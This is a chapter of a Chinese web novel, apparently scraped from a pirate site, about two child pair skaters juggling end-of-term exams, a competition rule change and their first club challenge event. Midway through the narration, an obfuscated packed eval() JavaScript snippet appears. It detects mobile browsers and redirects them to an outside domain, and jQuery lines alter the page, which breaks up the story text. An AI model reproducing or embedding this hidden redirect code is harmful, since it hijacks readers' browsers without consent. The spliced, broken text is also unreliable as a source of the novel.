次日到冰场，贺嘉岁还没来得及替林风致告状，她的搭档就捷足先登。
男生拐进办公室，一五一十说起委屈。
教练听不下去，直问：“你的诉求是什么？”
男生有些支吾。
很明显，教练的语气不算好。
“我能不能，不和林风致搭档？”
“你想找谁？”
“贺嘉岁，她可以带我进步。”
贺嘉岁正猫着腰听墙角，听他们谈到自己，险些大门一推摔进去。
门里闹得不愉快，教练把文件夹摔在桌上，震得杯盖一跳。
连鸣蝉都不叫了。
“你想和她组队，那她的搭档怎么办？”教练假设，“她比你小几岁，如果来年长了身高，你又该找谁？”
“她看着不像能长高的样子。”
“诡辩，”快到上课时间，教练不再和他掰扯，驳回诉求，“举不动就多练，今天加两组引体向上。”
贺嘉岁把这段插曲添油加醋讲给应逢年。
应逢年藏不住那股骄傲劲，胸脯挺得老高。
“我没夸你的意思。”贺嘉岁有些嫌弃。
他怎么总犯病。
“体测的时候，我做了十个引体向上，比他们都多。”
原来是触发了关键词，他想自己夸自己。
林风致在一旁问：“所以，我还得和他搭档吗？”
“当初录入信息，搭档就被绑定在一起，轻易不能换。”贺嘉岁重复教练的话，替她惋惜。
这是这段故事里，唯一不幸的消息。
大热天，教练刚窝一肚子气。
“还在聊天？”
催命号角响起。
临近期末，事情忙得焦头烂额。
贺嘉岁每天在基地和学校两点一线，有时连吃饭都顾不上。
作业多，训练多，他们还得准备不让自己掉份的节目。
又该放学了。
贺嘉岁伴着铃声苏醒，脸上沾着不知哪门课发的卷子。
“数学写哪里？”她问。
真不好意思，她居然在课堂打起瞌睡。
应逢年回答：“鸡兔同笼。”
鸡兔同笼？
是那个她永远算不明白的鸡兔同笼吗？
去外地考级时，林风致曾简单给他们过了遍知识。
贺嘉岁在这课卡了一周，直到学会放弃。
到底是哪位圣人，看见满地的鸡，想到的不是白切和盐焗，而是把它们和兔子丢一块！
“冇事，期末不会考这个。”
应逢年已经背上书包往门外走，她加快速度。
对，她不会的都不会考。
……
趁冰舞组练图案时，贺嘉岁找准机会。
“教练，我有问题。”
教练回头看她，默许提问。
“为什么我和应逢年只学一套节目？”
如果没记错，当初理论课上讲，运动员的比赛分数由短节目和自由滑构成。
冰舞的说法不同，但也是两套。
教练问：“你们的体力能支撑两套节目吗？”
贺嘉岁想，这还真说不准。
虽然他们每天有三个小时的上冰课，但真要从头到尾全神贯注，她会首先败阵。
“少年低龄组和更高的组别不同，你们还是孩子，滑协优先考虑你们的耐力。”
这回，贺嘉岁听懂了。
简言之，就是他们的耐力不够。
但，“少年低龄组？”
她还记得，当初星未来给他们上报的是大众组，大众组只分大类，不按年龄高低另分组别。
报名已经截止，不太可能是别人篡改了他们的信息。
“辛成林没给你们说？”教练问。
贺嘉岁摇头，自从去星未来走了一遭，她连辛嵘都没再见过。
教练一面指导貌合神离的林风致组，等调节好矛盾，才重新捡起话题。
新赛季的规则是休赛季前就定好的。
强度不同，精英组和大众组的界限很清晰。
但他们的出现是意外。
“大众组从来没出现过双人滑选手。”
练习双人滑和冰舞的成本太高，普通爱好者很难找到搭档，所以大众组以往只有单人滑两项。
今年，破天荒出现一组双人滑，滑协甚至为此开了短会。
不过会议的重点不在是否在大众组新设双人滑项目，而是如何整合资源。
他们认为，新增组别意味着调整规则，进一步影响更多关联环节的执行。
贺嘉岁/应逢年的何去何从，反而是最容易解决的事。
“所以，我们被编入了精英组？”贺嘉岁猜。
教练点头。
精英组有年龄之分，其中门槛最低的是少年低龄组。
不过即使加上他们，也只有三对参赛运动员。
应逢年赶过来时，正好听了个尾巴。
他懵懂问：“三对，我们不滑都能拿奖牌？”
“你死心吧，不滑叫弃赛。”
至于他们新赛季的唯一节目，还是沿用年初的表演滑音乐，不过规定时长在3′±10″，他们得重新剪辑。
节目编排也得重新来。
按贺嘉岁的话说，短短五个月，他们已经超进化了。
原本空空荡荡的节目，塞进了捻转分腿，塞进了握腰托举，还有旋转和跳跃。
“怎么连捻转分腿都有？”应逢年说，“这不是规定动作，根本不算分。”
“这个算在接续步里，”贺嘉岁说出她的想法，“这样，我们就能名正言顺地练习捻转了。”
“那勾手跳呢？我也不会勾手跳。”
“你只是落冰不好，四舍五入已经学会了。”
应逢年回忆最近的练习情况。
哪里是落冰问题，他根本就只能蹦半周，0.5Lz啊。
此后半个小时，一离开教练的视线，应逢年就把“谋害搭档”挂在嘴边。
贺嘉岁也不恼，大方地“嗯”两声，再说：“我是为了你好。”
林风致把这个行为定义为——
嘉岁劝学。
……
所谓期末考试，光靠硬实力还不够，不因为别的，而是实力本身就不够。
贺嘉岁有林风致的撺掇，在宿舍偷偷进行一些神秘仪式。
比如揉了一百张纸团，抓阄。
“能考多少分？”林风致问。
贺嘉岁展示抽到的数字，69。
不低，但也绝对算不上高。
“换个角度想，这写的或许是96。”
贺嘉岁抿着嘴，缓缓出声：“‘69’颠倒过来还是‘69’。”
老天爷也不知道努努力，她摆弄手表犯无聊。
“嘉岁，我来考考你。”
小学生考完期末，但初中生还没有，林风致不能让自己一个人痛苦。
贺嘉岁背过身：“不要。”
“因式分解的定义是什么？”
“听不见。”
“提公因式法的步骤呢？”
“先乘除，后加减。”她扯着嗓子打胡乱讲。
反正还没考试的不是她。
对吧？
第二天周末，不用上学，他们可以花一整天泡在花滑馆。
当然，不是百分百的自愿。
冰舞的两对和贺嘉岁的遭遇一样，都被编入精英组，情况似乎还要遭些。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765506|174565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>冰舞不管是何年龄段，都需要完成两套节目，即图案舞和自由舞。
但林风致连这赛季的图案都还没背熟。
“你们以为自己就轻松了吗？”教练敲打。
贺嘉岁坐在场外看戏：“应逢年连勾手跳都学会了，还有什么不可能。”
“是啊，贺嘉岁连旋转都不位移了，还有什么不可能。”
应逢年在这里学会的最大技能，就是说话。
“比赛前会文化考试，你们知道吧。”
平地一声惊雷。
“怎么还有考试？”贺嘉岁连舌头都捋不直。
昨天冯阿姨带她去遛弯，她刚打听好收废品的价钱，教材得留着，但各种资料能卖好多。
“这是针对少年组的规定。”
到达比赛场地后，他们得先完成一套试题。
内容涵盖语文、数学和英语三科，外加花滑项目常识，一共一百道选择题。
考试成绩会占竞赛成绩的百分之十。
贺嘉岁听教练讲了半天，满脑子只记住两个字，“针对”。
他们少年组的命好苦呀。
“难道每参加一场比赛都要考试？”应逢年抓住重点。
在他们的不太期待中，教练点头：“节目得每次都滑，题目当然得每次都做。”
贺嘉岁拍着腿。
哎呀，命更苦了呀。
应逢年没表露出同样的情绪，她有些诧异。
“你背着我进步了吗？”
应逢年竖着手指表忠心：“我有三道大题没写。”
但他想到一个办法。
招呼贺嘉岁凑近，他小声说：“我们的技术比不上别人，但可以在其他地方走捷径。”
“你是说……考试吗？”
“对，只要我们考得好，说不定比赛成绩能更高。”
“你把这条路叫做捷径？”
学会数学和学会阿克塞尔跳，哪个更有难度？
贺嘉岁不信他会选择前者。
“万一被雷劈中了呢。”应逢年指了指室外的糟糕天气。
“那你会死。”
他不会以为自己是电光人*吧？
嘴里回怼千句万句，但贺嘉岁居然真和应逢年走上了做题道路。
在别人被教练罚冰时时，他俩下场休息，抱着以前的考试题目啃。
应付期末考试都没这么认真。
题目照顾到少年组的平均水平，难度很基础，但题量大，半个小时够呛能写完。
“我们应该是最奇怪的参赛选手了吧。”贺嘉岁握着笔自言自语。
“只要能提高成绩。”
管他是冰上或冰下的努力。
……
俱乐部挑战赛共分五站，首站就在星未来俱乐部的冰上中心举行，和训练基地的直线距离不到五公里。
贺嘉岁说：“一点比赛的实感都没有。”
连考级带来的紧张感都比这更甚。
签到，核验身份，通过层层安检，进入场馆内部。
“没有家长陪赛吗？”工作人员问。
墙上贴着“非运动员及相关人员勿入”的告示。
一旦推开进入后场的门，直到比赛结束，他们都没有离开的机会了。
“我妈妈会来。”应逢年说。
冯女士最近放假，说好了要来见证儿子的第一场花滑比赛。
但周末遇上赛事举办，北京四环大塞车，她在路上堵了半个钟头。
“那就先等等，家长必须要和运动员一同进入后场。”
贺嘉岁和应逢年坐在室外的小凳上。
等阿姨，大脑一直重复这个指令。
直到她等到熟悉的身影。
“爸爸！”